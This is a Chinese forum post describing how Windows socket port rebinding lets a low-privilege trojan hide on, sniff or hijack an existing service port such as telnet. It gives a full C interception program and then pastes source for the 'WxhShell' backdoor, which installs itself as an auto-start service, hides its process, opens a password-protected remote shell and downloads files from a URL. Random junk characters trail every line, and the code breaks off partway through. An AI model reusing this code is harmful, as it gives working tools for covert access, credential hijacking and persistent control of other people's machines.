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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: s@C}P  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -HuA \0J  
8_F1AU? u  
  saddr.sin_family = AF_INET; p#Bi>/C6  
A=4OWV?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); q*KAk{kR(v  
0aAoV0fMDz  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :pUtSs7p}  
Xeaj xcop#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [!z,lY>  
n|;Im&,  
  这意味着什么?意味着可以进行如下的攻击: f5r0\7y0  
1"g<0 W  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "]dI1 g_  
z:;CX@)*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?8$Q-1=  
oQ#8nu{k  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 C]#,+q*  
RZ7@cQY  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <q SC#[xu  
nlYNN/@"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +0~YP*I`/  
,)XLq8  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 weQ_*<5%  
s CRdtP  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9UkBwS`  
$k?>DP 4  
  #include g ?k=^C  
  #include : 'c&,oLY  
  #include Ei|\3Kx  
  #include    liZxBs :%i  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "{n&~H`  
  int main() p[-O( 3Y  
  { K8~d^G  
  WORD wVersionRequested; OPi0~s  
  DWORD ret; gSgr6TH0  
  WSADATA wsaData; ~zgGa:uU  
  BOOL val; <[phnU^ 8  
  SOCKADDR_IN saddr; <[v[ci  
  SOCKADDR_IN scaddr; U(Zq= M  
  int err; )7d&NE_  
  SOCKET s; d1*<Ll9K  
  SOCKET sc; [e q&C_|D  
  int caddsize; ),)lzN%!  
  HANDLE mt; @,}UWU  
  DWORD tid;   (mOtU8e  
  wVersionRequested = MAKEWORD( 2, 2 ); TseGXYH  
  err = WSAStartup( wVersionRequested, &wsaData ); =-T]3!   
  if ( err != 0 ) { j+!v}*I![  
  printf("error!WSAStartup failed!\n"); ?5p>BER?  
  return -1; pw#-_  
  } LscGTs,  
  saddr.sin_family = AF_INET; O2+6st  
   83m3OD_y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  bLL2  
UBs4K*h|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); vIvIfE  
  saddr.sin_port = htons(23); wq{hF<  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Fcx&hj1gQ  
  { -/4P3SG/  
  printf("error!socket failed!\n"); Fu~j8K  
  return -1; jCY %|  
  } |:o4w  
  val = TRUE; IgzQr >  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 *i,%,O96Nz  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *Ly6`HZ9  
  { @CoIaUVP  
  printf("error!setsockopt failed!\n"); yu|>t4#GT  
  return -1; JC"z&ka  
  } [Pp'Ye~K@c  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; rOYx b }1  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;"I^ZFYX  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 l]vm=7:  
pCDmXB  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) jdN` mosJ  
  { ("@!>|H  
  ret=GetLastError(); <aw[XFg  
  printf("error!bind failed!\n"); u +hX  
  return -1; Sdo-nt  
  } -LSWmrj  
  listen(s,2); \['Cj*ek  
  while(1) PnTu  
  { ~u{uZ(~  
  caddsize = sizeof(scaddr); ~o(   
  //接受连接请求 1 zZlC#V  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); kstIgcI  
  if(sc!=INVALID_SOCKET) ]'cs.  
  { (Z*!#}z`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }k0_5S  
  if(mt==NULL) 1oS/`)  
  { _t$sgz&  
  printf("Thread Creat Failed!\n"); s7<AfaJPF  
  break; Z;i:](  
  } \bF{-"7.  
  } 9x8fhAy}4  
  CloseHandle(mt); 8}[).d160  
  } 4Ig;3 ^%71  
  closesocket(s);  g-A-kqo9  
  WSACleanup(); _w{Qtj~s|  
  return 0; )4OxY[2J  
  }   j.Hf/vi`z  
  DWORD WINAPI ClientThread(LPVOID lpParam) "g|#B4'e  
  { ]lbuy7xj63  
  SOCKET ss = (SOCKET)lpParam; 2iOV/=+  
  SOCKET sc; -~0^P,yQ  
  unsigned char buf[4096]; = &]L00u.  
  SOCKADDR_IN saddr; &&+H+{_Q  
  long num;  Sf'CN8  
  DWORD val; x4 yR8n(  
  DWORD ret; 8r{.jFGv  
  //如果是隐藏端口应用的话,可以在此处加一些判断 O?2DQY?jT  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   tYS06P^<  
  saddr.sin_family = AF_INET; *T/']t  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *p U x8yB  
  saddr.sin_port = htons(23); JI}'dU>*U:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6 N4~~O  
  { /7kC<  
  printf("error!socket failed!\n"); DI>s-7  
  return -1; tA;}h7/Lc~  
  } +whDU2 "  
  val = 100; ,prf;|e?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >Ry01G]_/h  
  { k:;r2f  
  ret = GetLastError(); 2ESo2  
  return -1; (HVGlw'`  
  } $Yq9P0Ya  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;+%rw2Z,B  
  { &8H'eAA  
  ret = GetLastError(); _b 0& !l<  
  return -1; C]6O!Pb0  
  } CTb%(<r  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _/|\aqF.  
  { w<#!h6Y=  
  printf("error!socket connect failed!\n"); ^!d3=}:0  
  closesocket(sc); /wp6KXm  
  closesocket(ss); >7|VR:U?B  
  return -1; hb$Ce'}N  
  } x:Y1P:  
  while(1) R_C)  
  { &yg|t5o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Nb\4 /;#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 F8=+j_UGI  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 h`q1  
  num = recv(ss,buf,4096,0); l#o ~W`  
  if(num>0) >Tgv11[  
  send(sc,buf,num,0); a(nlTMfu  
  else if(num==0) W1~0_;  
  break; $FVNCFN%  
  num = recv(sc,buf,4096,0); la!~\wpa  
  if(num>0) kVgTGC"L=  
  send(ss,buf,num,0); 0J9x9j`&j  
  else if(num==0) vXs"Dst  
  break; 79gT+~z   
  } b6bHTH0  
  closesocket(ss); TjH][bH5  
  closesocket(sc); )nkY_' BV  
  return 0 ; .('SW\u-  
  } _6Sp QW  
B#A6v0Ta  
X ?O[r3<  
========================================================== teR Tu  
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下边附上一个代码,,WXhSHELL r!v\"6:OM  
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========================================================== ch]IzdD  
-?\D\\+t  
#include "stdafx.h" 2y4bwi  
i!Ba]n   
#include <stdio.h> 6nn *]|7  
#include <string.h> &C}*w2]0S  
#include <windows.h> 00(\ZUj  
#include <winsock2.h> F?0Ykjh3  
#include <winsvc.h> 4W75T2q#  
#include <urlmon.h> E .h*g8bXe  
mH(:?_KrS-  
#pragma comment (lib, "Ws2_32.lib") *. t^MP  
#pragma comment (lib, "urlmon.lib") Eci\a]  
%d @z39-;  
#define MAX_USER   100 // 最大客户端连接数 :jf3HG  
#define BUF_SOCK   200 // sock buffer gGYKEq{j(  
#define KEY_BUFF   255 // 输入 buffer sO Y:e/_F  
t20K!}D_  
#define REBOOT     0   // 重启 9c],<;{'  
#define SHUTDOWN   1   // 关机 4H/OBR  
/Oono6j  
#define DEF_PORT   5000 // 监听端口 )7@0[>  
NK+o1   
#define REG_LEN     16   // 注册表键长度 |Tw~@kT@  
#define SVC_LEN     80   // NT服务名长度 <@}9Bid!o  
d9ihhqq3}  
// 从dll定义API G}*hM$F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k)u[0}   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ac6=(B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :&Nbw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <3iMRe  
Z)!C'cb  
// wxhshell配置信息 0x7'^Z>-oe  
struct WSCFG { TC. ,V_  
  int ws_port;         // 监听端口 :,^gj  
  char ws_passstr[REG_LEN]; // 口令 N [@?gFtT  
  int ws_autoins;       // 安装标记, 1=yes 0=no +p^u^a  
  char ws_regname[REG_LEN]; // 注册表键名 .hiSw  
  char ws_svcname[REG_LEN]; // 服务名 l, wp4 Ll  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )Z$!PqRw@u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 AGno6g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {*KEP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no BY*Q_Et  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &zhAh1m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +"(jjxJm  
CARzO7 b\w  
}; u>$t'  
edV\-H5<  
// default Wxhshell configuration 4YHY7J  
struct WSCFG wscfg={DEF_PORT, % nIf)/2g  
    "xuhuanlingzhe", *A< 5*Db:F  
    1, fnY.ao1-s[  
    "Wxhshell", 9l,o P?  
    "Wxhshell", & ~!Wym  
            "WxhShell Service", N7_"H>O$0U  
    "Wrsky Windows CmdShell Service", t Pf40`@  
    "Please Input Your Password: ", k8Xm n6X  
  1, 9kojLqCT  
  "http://www.wrsky.com/wxhshell.exe", _|]x2xb)  
  "Wxhshell.exe" mTh]PPo   
    }; 7|D+Ihy;  
/>Nt[o[r  
// 消息定义模块 fV:83|eQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AEuG v}#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8_tQa^.n\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nie%eC&U  
char *msg_ws_ext="\n\rExit."; K>9 ()XT)  
char *msg_ws_end="\n\rQuit."; Mlq.?-QgIL  
char *msg_ws_boot="\n\rReboot..."; {U1m.30n  
char *msg_ws_poff="\n\rShutdown..."; kl,3IKHa  
char *msg_ws_down="\n\rSave to "; nd(S3rct&  
cFv8 Od  
char *msg_ws_err="\n\rErr!"; m3ff;,  
char *msg_ws_ok="\n\rOK!"; <1 pEwI~  
~v83pu1!2s  
char ExeFile[MAX_PATH]; +O5hH8<&b  
int nUser = 0; Q &t<Y^B  
HANDLE handles[MAX_USER]; ^J d r>@  
int OsIsNt; 2[CdZ(k]5  
3~ \[7I/  
SERVICE_STATUS       serviceStatus; <1%$Vq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v3qA":(w+(  
"mN q&$  
// 函数声明 kN>!2UfNS  
int Install(void); vFsLY  
int Uninstall(void); @P" p+  
int DownloadFile(char *sURL, SOCKET wsh); c(%|: P^  
int Boot(int flag); $SE^S   
void HideProc(void); m4g$N)  
int GetOsVer(void); d7i]FV  
int Wxhshell(SOCKET wsl); \;-|-8Q  
void TalkWithClient(void *cs); C-[1iW'  
int CmdShell(SOCKET sock); 'QIqBU'~  
int StartFromService(void); NCx%L-GPi  
int StartWxhshell(LPSTR lpCmdLine); 2m[<]$  
:aQt;C6Z>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V> bCKtf&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); yZ`wfj$Jj  
Q&V;(L62!  
// 数据结构和表定义 X76e&~  
SERVICE_TABLE_ENTRY DispatchTable[] = '7@R7w!E4H  
{ AK#1]i~  
{wscfg.ws_svcname, NTServiceMain}, MWL% Bz  
{NULL, NULL} o lxByzTh>  
}; e]tDy0@  
* H9 8Du  
// 自我安装 @v B!u[{  
int Install(void) ^VACf|0  
{ ""D 4s  
  char svExeFile[MAX_PATH]; W T}H>T  
  HKEY key; -GgA&dh  
  strcpy(svExeFile,ExeFile); /SrAW`;"  
-tNUMi'  
// 如果是win9x系统,修改注册表设为自启动 t_suF$  
if(!OsIsNt) { _,d~}_$`i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y#3c }qb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (b6NX~G-:  
  RegCloseKey(key); FEVlZ<PW3I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9$m|'$p3sG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g>9kXP+  
  RegCloseKey(key); (3&?wy_l  
  return 0; B~du-Z22IZ  
    } M:6"H%h,W  
  } G/mXq-  
} \B 7tX  
else { i2^>vYCsl  
[66! bM&  
// 如果是NT以上系统,安装为系统服务 0<B$#8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 27< Enq]  
if (schSCManager!=0) i@R 1/M  
{ ^<-+@v*  
  SC_HANDLE schService = CreateService {GcO3G#FZ  
  ( A_#DJJMm  
  schSCManager, WSY}d Vr  
  wscfg.ws_svcname, I,'k>@w{s  
  wscfg.ws_svcdisp, O<;3M'y\  
  SERVICE_ALL_ACCESS, tlt*fH$ .  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 14'45  
  SERVICE_AUTO_START, kn"(A .R  
  SERVICE_ERROR_NORMAL, )@'}\_a3[]  
  svExeFile, 'oC) NpnH  
  NULL, .q3/_*  
  NULL, |qZ1|  
  NULL, b,%C{mC  
  NULL, s&!a  
  NULL M+9gL3W  
  ); R+,u^;\  
  if (schService!=0) 6qd\)q6T&x  
  { !1Cy$}w  
  CloseServiceHandle(schService); Nm>A'bLM  
  CloseServiceHandle(schSCManager); lR6x3C H@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *``JamnSO  
  strcat(svExeFile,wscfg.ws_svcname); !GEJIefx_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0tB0@Wj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *~j@*{u  
  RegCloseKey(key); `P;s 8~  
  return 0; Yr=Y@~ XL  
    } hzbw>g+  
  } "4,?uPi  
  CloseServiceHandle(schSCManager); #3 pb(fbw  
} yw3$2EW  
} fCobzDy  
; XN{x  
return 1; 8d-t|HkN  
} ;K &o-y  
cX OK)g#  
// 自我卸载 f\>M'{cV  
int Uninstall(void) 6ez<g Uf  
{ @)&=%  
  HKEY key; tWa) _y  
M8b;d}XL  
if(!OsIsNt) { t; {F%9j{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LRG6:&  
  RegDeleteValue(key,wscfg.ws_regname); Eq\M;aDq  
  RegCloseKey(key); 2nIw7>.}f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aC.~&MxFC  
  RegDeleteValue(key,wscfg.ws_regname);  *m,k(/>  
  RegCloseKey(key); z}ddqZ27G$  
  return 0; SHo$9+  
  } j578)!aJ  
} $.rhRKs  
} K]" #C  
else { z(^]J`+\  
b4ONh%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Mz~D#6=  
if (schSCManager!=0) -Z Ugx$  
{ ouFYvtFg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "Yj'oE% \  
  if (schService!=0) * 8_wYYH  
  { zvH8^1yzG  
  if(DeleteService(schService)!=0) { doy`C)xI  
  CloseServiceHandle(schService); )MchsuF<  
  CloseServiceHandle(schSCManager); <drODjB  
  return 0; Q;JM$a?5iV  
  } MgrLSKLT  
  CloseServiceHandle(schService); usCt#eZK  
  } H>B&|BO_[  
  CloseServiceHandle(schSCManager); g^{@'}$  
} L(-b@Joh  
} m?fy^>1  
 jQ  
return 1; =4PV;>X  
} dCk3;XU  
g8xQ|px  
// 从指定url下载文件 D9 |n)f  
int DownloadFile(char *sURL, SOCKET wsh) (ECnM ti+  
{ iQ fJ  
  HRESULT hr; #32"=MfQn  
char seps[]= "/"; I3mGo  
char *token; b+6\JE^Mz  
char *file; ]? g@jRs  
char myURL[MAX_PATH]; [@b&? b~K  
char myFILE[MAX_PATH]; OFv%B/O  
IS 2^g>T#1  
strcpy(myURL,sURL); h=kh@},  
  token=strtok(myURL,seps); khrb-IY@  
  while(token!=NULL) )V6Hl@v  
  { s<_)$}  
    file=token; aV?@s4  
  token=strtok(NULL,seps); "*5hiTr8+  
  } ruzspS  
X+S9{X#Cm  
GetCurrentDirectory(MAX_PATH,myFILE); EzV96+  
strcat(myFILE, "\\"); Vz~nT  
strcat(myFILE, file); [uq$5u  
  send(wsh,myFILE,strlen(myFILE),0); $[&*Bj11Yg  
send(wsh,"...",3,0); yXF?H"h(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ws|;  `  
  if(hr==S_OK) 0F|AA"mMT  
return 0; ~ga`\% J  
else 5>j)kx=J9  
return 1; )Es"LP]  
pDcjwlA%  
} H {k^S\K  
{(wHPzq  
// 系统电源模块 Q=T&  
int Boot(int flag) ,Bo>E:u  
{ ^[XYFQTL  
  HANDLE hToken; *c*0PdV  
  TOKEN_PRIVILEGES tkp; (B_\TdQ  
xAe~]k_D  
  if(OsIsNt) { .!,z:l$Kh  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Upd3-2kr&J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \lC   
    tkp.PrivilegeCount = 1; ,%Up0Rr,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :^x?2% ~K.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [tA;l+Q\&  
if(flag==REBOOT) { YY!6/5*/]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %V{7DA&C  
  return 0; ";Rtiiu  
} oDYRQozo>  
else { 78OIUNm`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Zx  bq  
  return 0; Ii_ojQP-z  
} "D=P8X&vs  
  } F[[TWf/  
  else { P2'DD 3   
if(flag==REBOOT) { q]N:Tpm9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ej>g.vp8I  
  return 0; pV,P|>YTf  
} g[7#w,o  
else { ?0oUS+lU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <_Q:'cx'  
  return 0; h!:~f-@j4  
} wz.6du6-  
} sx51X^d  
{aJJ `t  
return 1; )}'U`'q  
} i'wAE:Xe  
[[Y0  
// win9x进程隐藏模块 ['*8IWg  
void HideProc(void) `zt_7MD  
{ mzc 4/<th  
9>rPe1iv  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D HT&,=  
  if ( hKernel != NULL ) S^<g_ q  
  { #\ n8M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]&{ci  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,qrQ"r9  
    FreeLibrary(hKernel); a~!G%})'a  
  } b-*3 2Y%  
Gkxj?)`  
return; =)` p_W  
} ee#): -p  
R$Tp8G>j  
// 获取操作系统版本 mA@Me7m}  
int GetOsVer(void) .rJiyED?!  
{ m&iH2|  
  OSVERSIONINFO winfo; [kgdv6E  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -+em!g'  
  GetVersionEx(&winfo); t/PlcV_M"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Yl$SW;@  
  return 1; $<|l E/_]  
  else Q;J`Q wkH  
  return 0; e=QK}gzX  
} *d',Vuv&[  
{Pu\?Cq  
// 客户端句柄模块 >xn}N6Rj2~  
int Wxhshell(SOCKET wsl) awUx=%ERtA  
{ 2{.QjYw^  
  SOCKET wsh; }AvcoD/b  
  struct sockaddr_in client; =FT98H2*|  
  DWORD myID; 1uk 0d`JL  
*I0-O*Xr  
  while(nUser<MAX_USER) k%op> &  
{ M}wXJ8aF?  
  int nSize=sizeof(client); vHE^"l5v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?`Y\)'}   
  if(wsh==INVALID_SOCKET) return 1; J!*/a'Cv  
LR,7,DH$9'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 35x 0T/8  
if(handles[nUser]==0) DK&h eVIoZ  
  closesocket(wsh); ow'lRHZ  
else Zf>^4_x3P  
  nUser++; ^U8r0]9  
  } }Y17*zp%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R, 8s_jN  
M-uMZQ e  
  return 0; WWZ9._  
} 0J8K9rP;z  
<d7V<&@o=  
// 关闭 socket qJ_1*!!91  
void CloseIt(SOCKET wsh) Bz`yfl2  
{ l**;k+hw  
closesocket(wsh); V=:_d,  
nUser--; $,hwU3RVxc  
ExitThread(0); }p9F#gr  
} j,2l8?  
b( ^^m:(w  
// 客户端请求句柄 VIR.yh  
void TalkWithClient(void *cs) te4= S  
{ 2n`Lg4=  
v1.q$ f^(  
  SOCKET wsh=(SOCKET)cs; ?Jtg3AY  
  char pwd[SVC_LEN]; bO/*2oau  
  char cmd[KEY_BUFF]; gK3Mms]}m  
char chr[1]; hD<f3_k  
int i,j; 0D(cXzQP  
 !=*.$4  
  while (nUser < MAX_USER) { >LF&EM]  
)-/gLZsx  
if(wscfg.ws_passstr) { YTU.$t;Ez  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); em]xtya  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i`O rMzL  
  //ZeroMemory(pwd,KEY_BUFF); ;</Twm;:  
      i=0; .%0ne:5  
  while(i<SVC_LEN) { <V_7|)'/A  
$X+u={]  
  // 设置超时 ,dd WBwMK  
  fd_set FdRead; #cwCocw  
  struct timeval TimeOut; ev>oC~>s  
  FD_ZERO(&FdRead); px9>:t[P  
  FD_SET(wsh,&FdRead); %>XN%t'6aT  
  TimeOut.tv_sec=8; f8:$G.}i  
  TimeOut.tv_usec=0; ]i8c\UV\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y>(rZ^y&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CM~MoV[k7e  
-'C!"\%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a]VGUW-  
  pwd=chr[0]; ]RFdLV?  
  if(chr[0]==0xd || chr[0]==0xa) { iY.eJlfH  
  pwd=0; F1A1@{8bN  
  break; wTpD1"_R  
  } )XVh&'(r  
  i++; FUaNiAr[  
    } R.7#zhC`4  
{:Vf0Mhb  
  // 如果是非法用户,关闭 socket IM-`<~(I#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f:%SW  
} U7%28#@  
GF R!n1Hv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b4~H3|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +(ny|r[#  
( D}" &2  
while(1) { o?!uX|Fy  
Sa}D.SBg  
  ZeroMemory(cmd,KEY_BUFF); X N;/nU  
sA_X<>vAKJ  
      // 自动支持客户端 telnet标准   v'nHFC+p  
  j=0; G6Q4-kcK  
  while(j<KEY_BUFF) { AA7#c7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A! ;meVUs  
  cmd[j]=chr[0]; `$9L^Yg,4  
  if(chr[0]==0xa || chr[0]==0xd) { ~R!gJTO9  
  cmd[j]=0; 0QR.   
  break; Gj`f--2GE  
  } om7`w ]  
  j++; ^W['A]l  
    } slSR=XOG  
MhH);fn  
  // 下载文件 FR'b`Xv:  
  if(strstr(cmd,"http://")) { x<Se>+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cMtJy"kK  
  if(DownloadFile(cmd,wsh)) fm6]CU1^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ' PL_~  
  else `GkRmv*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i;HH ! TaN  
  } U]j&cFbn5_  
  else { .jum "va%  
Y\>\[*.v  
    switch(cmd[0]) { #wD7 \X-f  
  Q=XA"R  
  // 帮助 y7; 5xF?q  
  case '?': { \I xzdFF#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g)N54WV  
    break; 0hZxN2r  
  }  /Ef4EX0  
  // 安装 j@V $Mbv  
  case 'i': { eHROBxH&  
    if(Install()) ;.r2$/E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iDR6?fP  
    else rUvwpP"k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]kH}lr yG  
    break; YrKFa%k  
    } vF+YgQ1H  
  // 卸载 >2t cEz%  
  case 'r': { iGyVG41U  
    if(Uninstall()) %)dI2 J^Xf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?P YNE  
    else TwwIt5_fN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;HT0w_,  
    break; =G[ H,;W  
    } M;> ha,x  
  // 显示 wxhshell 所在路径 {z-NlH  
  case 'p': { Xv]*;Bq:SK  
    char svExeFile[MAX_PATH]; i~ROQMN1  
    strcpy(svExeFile,"\n\r"); ZG!x$ yi$  
      strcat(svExeFile,ExeFile); _i.({s&_9  
        send(wsh,svExeFile,strlen(svExeFile),0); -D$3!ccX  
    break; wbl ${@4  
    } 7!mJhgGc  
  // 重启 U=M#41J  
  case 'b': { 4'_L W?DS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }3Df]  
    if(Boot(REBOOT)) my=*zziN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0U9+  
    else { E#8J+7  
    closesocket(wsh); $To 4dJb  
    ExitThread(0); 1k0^6gE|  
    } b,z R5R^D;  
    break; jDFp31_X  
    } [p2g_bI8yK  
  // 关机 ![qRoYpbg8  
  case 'd': { rrW! X q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d 4[poi ~  
